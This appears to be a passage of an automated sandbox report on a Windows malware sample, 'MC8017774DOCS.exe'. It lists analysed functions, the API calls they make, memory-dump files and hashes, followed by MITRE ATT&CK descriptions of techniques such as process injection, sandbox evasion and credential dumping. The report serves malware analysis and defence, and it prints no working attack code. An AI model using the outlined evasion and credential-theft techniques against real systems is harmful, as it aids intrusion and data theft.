Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\nse865B.tmp
API String ID: 3248276644-2695492296
Opcode ID: f876970076993f733f9246bd8c2efe22564afd40dcf2357ec22258bdd39e6079
Instruction ID: 850bfc7ffc9f89e8bebb6f59b63454ed566b5c4d810398842941662e03732b0e
Opcode Fuzzy Hash: f876970076993f733f9246bd8c2efe22564afd40dcf2357ec22258bdd39e6079
Instruction Fuzzy Hash: 82F0D625019F5216F622363A4D09AAF1954CE82364B0A013FF891722C1DB3C8942DD6E

Function 00406165 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000800,00000002,007A0F00,00000000,?,?,Call,?,?,004063D9,80000002), ref: 004061AB
RegCloseKey.ADVAPI32(?,?,004063D9,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,007A0F00), ref: 004061B6

Strings

Call, xrefs: 0040616C

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: e86e6fd2e5cb5672620ff5ab575da48d8fe54f653cf1da9627cee5843be69ab4
Instruction ID: f8c60df0673843c4a96ed35a73ceba2ba355a7ad566f59c539dda5576aee505e
Opcode Fuzzy Hash: e86e6fd2e5cb5672620ff5ab575da48d8fe54f653cf1da9627cee5843be69ab4
Instruction Fuzzy Hash: B301BC72500219EADF21CF50CC09EDB3BA8EB04360F01803AFD16A6191E778D964CBA4

Function 00405880 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,007A4F28,Error launching installer), ref: 004058A9
CloseHandle.KERNEL32(?), ref: 004058B6

Strings

Error launching installer, xrefs: 00405893

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: c1804180a416b962a28ecbb96a8e49de5f878aa0b2aa8e9b50c45ca8c4f376c1
Instruction ID: b039bfc1fd8153a77b97507ee8e8b42fe9752dbefc529c56e43fdfa491991b30
Opcode Fuzzy Hash: c1804180a416b962a28ecbb96a8e49de5f878aa0b2aa8e9b50c45ca8c4f376c1
Instruction Fuzzy Hash: 6CE0B6F5600209BFFB00AF64ED09E7B7BACEB58605F058525BD51F2290D6B998148A78

Function 004038F2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,76233420,004038CA,004036E0,00000006,?,00000006,00000008,0000000A), ref: 0040390C
GlobalFree.KERNEL32(0084AA50), ref: 00403913

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403904

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3936084776
Opcode ID: 4b08b810d440714d2b51308f6ef11deb4a674dc1e9eb6c71d827c8d8e3b91fd9
Instruction ID: 827a6d7c30b52d61f5a2dbff04e35f254d4b7381da6d9dc608e34789494937b8
Opcode Fuzzy Hash: 4b08b810d440714d2b51308f6ef11deb4a674dc1e9eb6c71d827c8d8e3b91fd9
Instruction Fuzzy Hash: 58E0CD334010205BC6115F04FE0475A77685F45B22F16003BFC807717147B41C538BC8

Function 00405BB8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\Desktop,00402F49,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\MC8017774DOCS.exe,C:\Users\user\Desktop\MC8017774DOCS.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405BBE
CharPrevW.USER32(?,00000000,?,C:\Users\user\Desktop,00402F49,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\MC8017774DOCS.exe,C:\Users\user\Desktop\MC8017774DOCS.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405BCE

Strings

C:\Users\user\Desktop, xrefs: 00405BB8

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3125694417
Opcode ID: e4f7a16c0d3aeb27420e4918e5816bacf7b9900a4c75110623d7ea7fd9e9117e
Instruction ID: d1e11866c06308db2688671cfe2e39cf8e5f3b64411c1caee3e249c785e2e979
Opcode Fuzzy Hash: e4f7a16c0d3aeb27420e4918e5816bacf7b9900a4c75110623d7ea7fd9e9117e
Instruction Fuzzy Hash: BDD05EB34109209AC3126B08DC00D9F77BCEF11301746486AF440A6161D7786C8186AD

Function 6E9B10E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 6E9B116A
GlobalFree.KERNEL32(00000000), ref: 6E9B11C7
GlobalFree.KERNEL32(00000000), ref: 6E9B11D9
GlobalFree.KERNEL32(?), ref: 6E9B1203

Memory Dump Source

Source File: 00000000.00000002.2560495387.000000006E9B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2560404950.000000006E9B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2560576199.000000006E9B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2560603132.000000006E9B5000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_MC8017774DOCS.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 85a0b8a2d4a20bb74223fb6a93fc2d1590d73439ba9b351c36c6233761c75a81
Instruction ID: a0b9b72749b6043e650913a186ec3d65f32c266c3dbef7ca9d1ff5125d52e49f
Opcode Fuzzy Hash: 85a0b8a2d4a20bb74223fb6a93fc2d1590d73439ba9b351c36c6233761c75a81
Instruction Fuzzy Hash: 41316FB29082169FEB008FEAD845A6B77ECEF57310700092AE944D7254E774DD4A9F61

Function 00405CF2 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D02
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405D1A
CharNextA.USER32(00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D2B
lstrlenA.KERNEL32(00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D34

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 6db5b03da17fe1faae21ad7e2c869b7ed7bb68520138c246bcc2ad94f2104a67
Instruction ID: 076f441daad098c1e87a0755c7bbd60db18a276d6ce73f7d9d897af98e652dc6
Opcode Fuzzy Hash: 6db5b03da17fe1faae21ad7e2c869b7ed7bb68520138c246bcc2ad94f2104a67
Instruction Fuzzy Hash: E5F0F631204918FFC7129FA4DD0499FBBB8EF06354B2580BAE840FB211D674DE01AFA8

Analysis Process: MC8017774DOCS.exePID: 4488, Parent PID: 7084COMMON

Execution Graph

Execution Coverage:	11.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	41
Total number of Limit Nodes:	4

Executed Functions

Function 03E4B978 Relevance: 1.9, APIs: 1, Instructions: 396
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.3453385306.0000000003E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 03E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3e40000_MC8017774DOCS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1160f10f29f4030caa622c6bf5d6354a31114a88a5006855045e692209d0eb04
Instruction ID: e9b20345529c9ae971ddac41081e8616af69ada3b09ddde12c51b9d3c1b60a7a
Opcode Fuzzy Hash: 1160f10f29f4030caa622c6bf5d6354a31114a88a5006855045e692209d0eb04
Instruction Fuzzy Hash: A0F16B34A0030ACFDB14CFA9D984B9DBBF1FF88304F199269D545AB265DB74E846CB80

Function 03E444E0 Relevance: 1.7, APIs: 1, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 03E44746

Memory Dump Source

Source File: 00000004.00000002.3453385306.0000000003E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 03E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3e40000_MC8017774DOCS.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: c4ecbdf1314c9a623d20705bf9b01a3b40f139e9a9a65b5502227acddad63511
Instruction ID: 7889bd0f4671fb439f6751de71f1c06e3e4ab3e3d1434555df101fa349ccedd8
Opcode Fuzzy Hash: c4ecbdf1314c9a623d20705bf9b01a3b40f139e9a9a65b5502227acddad63511
Instruction Fuzzy Hash: C1814970A00B458FDB24DF6AE14575ABBF1FF88204F048A6ED44ADBA90DB74E845CF91

Function 03E466C4 Relevance: 1.6, APIs: 1, Instructions: 117
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 03E467E2

Memory Dump Source

Source File: 00000004.00000002.3453385306.0000000003E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 03E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3e40000_MC8017774DOCS.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 5498c313c822ef021a314e07018be6b454573a900895b4b8290d9da8b3a21d78
Instruction ID: 7ebc67461c93a34bb449daf9a334d4b03b6079ed79666d171d2e650171991bae
Opcode Fuzzy Hash: 5498c313c822ef021a314e07018be6b454573a900895b4b8290d9da8b3a21d78
Instruction Fuzzy Hash: 3351C1B1D00349DFDB14CF99D984ADEFBB1BF48314F24922AE819AB210D7719845CF90

Function 03E466D0 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 03E467E2

Memory Dump Source

Source File: 00000004.00000002.3453385306.0000000003E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 03E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3e40000_MC8017774DOCS.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: c967d4d493579128775cfdaa08709989d9e11b0f559f05843544283f77ca0b77
Instruction ID: 2b558e66c57f800ba7f7c85c6a840cb288a776f74c6e5187712fcd25eb4e2ac3
Opcode Fuzzy Hash: c967d4d493579128775cfdaa08709989d9e11b0f559f05843544283f77ca0b77
Instruction Fuzzy Hash: 1241BEB1D003499FDB14CF9AD984ADEFFB5BF48314F24922AE819AB210D775A845CF90

Function 03E43BBC Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 03E48ED1

Memory Dump Source

Source File: 00000004.00000002.3453385306.0000000003E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 03E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3e40000_MC8017774DOCS.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 04badba8a1d30b08ace60d57f3ddaf0db4fe03aa9bfe712e7bb4c211493d208d
Instruction ID: 0efbc03a0eb11ac39356ea1f3b98da3bdb4f2e1dc18b55955e8844b08d64557b
Opcode Fuzzy Hash: 04badba8a1d30b08ace60d57f3ddaf0db4fe03aa9bfe712e7bb4c211493d208d
Instruction Fuzzy Hash: 754147B4900309DFDB14CF99C888AAAFBF5FF8C314F248549E519AB321D775A841CBA1

Function 03E446E0 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 03E44746

Memory Dump Source

Source File: 00000004.00000002.3453385306.0000000003E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 03E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3e40000_MC8017774DOCS.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 7ef950803981ec7c7279c76adbf0bdfd2cc93c4a4d1d4f6f88e44d6ace3f416e
Instruction ID: a4d81e7ca203c45586760bd69c0184fe5f58baf5c26cc56c521ab95bf8ccada2
Opcode Fuzzy Hash: 7ef950803981ec7c7279c76adbf0bdfd2cc93c4a4d1d4f6f88e44d6ace3f416e
Instruction Fuzzy Hash: 90113FB6D007098FCB10CF9AD544B9EFBF4BF89224F11851AD468A7200C3B9A505CFA1

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

